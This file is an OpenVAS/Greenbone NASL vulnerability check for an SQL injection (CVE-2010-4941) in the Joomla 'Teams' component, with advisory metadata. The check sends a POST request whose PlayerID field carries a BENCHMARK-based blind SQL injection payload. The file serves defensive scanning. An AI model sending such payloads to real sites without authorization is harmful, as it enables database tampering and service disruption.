Joomla 'Teams' Component SQLi Vulnerability (Nov 2011)

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802189");
  script_version("2026-04-30T06:27:06+0000");
  script_cve_id("CVE-2010-4941");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-11-09 13:02:45 +0530 (Wed, 09 Nov 2011)");

  script_name("Joomla 'Teams' Component SQLi Vulnerability (Nov 2011)");

  script_xref(name:"URL", value:"http://secunia.com/advisories/40933");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/14598/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/512974/100/0/threaded");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"impact", value:"Successful exploitation will let attackers to manipulate SQL
  queries by injecting arbitrary SQL code.");

  script_tag(name:"affected", value:"Joomla Team Component version 1_1028_100809_1711 and probably
  prior.");

  script_tag(name:"insight", value:"Input passed via the 'PlayerID' parameter to 'index.php' is not
  properly sanitised before being used in SQL queries.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"Joomla with Teams component is prone to a SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

host = http_host_name(port:port);

vt_strings = get_vt_strings();

filename = dir + "/index.php";

postData = "FirstName=" + vt_strings["default"] + "&LastName=" + vt_strings["default_dash"] + "&Notes=sds&TeamNames" +
           "[1]=on&UniformNumber[1]=1&Active=Y&cid[]=&PlayerID=-1 OR (SELECT" +
           "(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&" +
           "task=save&controller=player";

req = string("POST ", filename, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postData), "\r\n\r\n",
             postData);
res = http_keepalive_send_recv(port:port, data:req);

if (vt_strings["default"] >< res && vt_strings["default_dash"] >< res) {
  report = http_report_vuln_url(port:port, url:filename);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);